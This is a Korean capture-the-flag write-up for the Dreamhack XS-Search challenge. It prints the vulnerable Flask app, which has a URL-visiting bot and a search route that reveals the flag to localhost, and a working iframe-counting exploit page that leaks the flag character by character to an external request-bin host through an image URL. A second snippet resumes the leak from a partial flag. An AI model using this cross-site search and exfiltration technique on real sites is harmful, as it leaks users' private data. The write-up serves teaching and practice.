(37) Dreamhack XS-Search 문제 풀이
문제 설명
플래그는 DH{[0123456789abcdef]{32}}의 포맷입니다.
문제 풀이
이번 문제는 개인 서버를 이용하거나 html 호스팅을 해주는 사이트를 이용해야 풀 수 있는 문제입니다. 포트포워딩하시고 직접 서버 여셔도 됩니다.
사이트에 들어온 모습입니다.
search 페이지 입니다. 여기에 뭔가를 입력하면
이렇게 뭔가 나옵니다.
이런 페이지가 나오기도 합니다.
submit에서는 주소를 입력하는 창이 보입니다.
뭘 하는건지 잘 모르겠으니 코드를 확인해 봅시다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.common.exceptions import TimeoutException
from urllib.parse import urlparse
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from hashlib import md5
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
notes = {
(FLAG, True),
("Hello World", False),
("DreamHack", False),
("carpe diem, quam minimum credula postero", False)
}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(url)
except TimeoutException as e:
driver.quit()
return True
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
@app.route("/")
def index():
return render_template('index.html')
@app.route('/search')
def search():
query = request.args.get('query', None)
if query == None:
return render_template("search.html", query=None, result=None)
for note, private in notes:
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
continue
if query != "" and query in note:
return render_template("search.html", query=query, result=note)
return render_template("search.html", query=query, result=None)
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "GET":
return render_template("submit.html")
elif request.method == "POST":
url = request.form.get("url", "")
if not urlparse(url).scheme.startswith("http"):
return '<script>alert("wrong url");history.go(-1);</script>'
if not read_url(url):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
app.run(host="0.0.0.0", port=8000)
search페이지는 notes에서 일치하는게 있다면 찾아주는 모양입니다. localhost로 들어갔을때는 FLAG를 포함해서 검색하네요.
/submit을 보니 url을 post로 받고, http로 시작하는 url이면 read_url함수를 호출해 서버에서 해당 페이지에 방문하도록 만듭니다.
사이트를 보면 일치하는 검색결과가 있으면 내용을 iframe으로 보여줍니다.
따라서 서버가 search페이지에 방문해서 검색을 한 후, iframe의 개수를 세어 봤을때 0이 아니라면 일치하는 결과가 있다고 생각할 수 있습니다.
이를 이용해서 서버가 iframe을 이용해 search페이지를 로드하고 그 내용을 받아올 수 있으면 문제를 풀 수 있습니다. 아래는 드림핵에서 제공하는 코드입니다.(제 코드보다 깔끔해서 들고왔습니다)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<iframe id="iframe"></iframe>
<img id="img">
<script>
async function req(url) {
return await new Promise((resolve, reject) => {
const iframe = document.getElementById("iframe");
iframe.src = url;
iframe.onload = () => {
if (iframe.contentWindow.frames.length != 0)
return resolve();
else
return reject();
};
});
}
async function search(query) {
try {
await req(
`http://localhost:8000/search?query=${query}`
);
return true;
} catch (e) {
return false;
}
}
async function exploit() {
let chars = "0123456789abcdef}"
let secret = "DH{";
while (!secret.includes("}")) {
for (let c of chars) {
if (await search(secret + c)) {
secret += c;
img.src = `https://gkiikjh.request.dreamhack.games/${secret}`;
break;
}
}
}
}
exploit();
</script>
코드를 해석하면 0123456789abcdef}를 돌면서 한번씩 넣어보고 맞는게 있다면 secret에 찾은 문자를 추가하고 <img id="img" src="">를 이용해 외부로 요청을 보냅니다. 같은 과정을 반복하면서 }가 나올때까지 while을 돌립니다.
위 내용을 index.html로 저장하고 서버를 열고 submit페이지에 제 서버의 주소를 넣었습니다.
그러면 드림핵의 로그에 flag가 찍혀나오는걸 볼 수 있습니다.
근데 보시면 나오다가 말았습니다. 이유는 드라이버가 3초 동안만 페이지를 로드 하기 때문입니다. 위에서 얻은 내용을 secret변수에 추가해줍니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
async function exploit() {
let chars = "0123456789abcdef}"
let secret = "DH{22d1445ad68e1";
while (!secret.includes("}")) {
for (let c of chars) {
if (await search(secret + c)) {
secret += c;
img.src = `https://bdtmaue.request.dreamhack.games/${secret}`;
break;
}
}
}
}
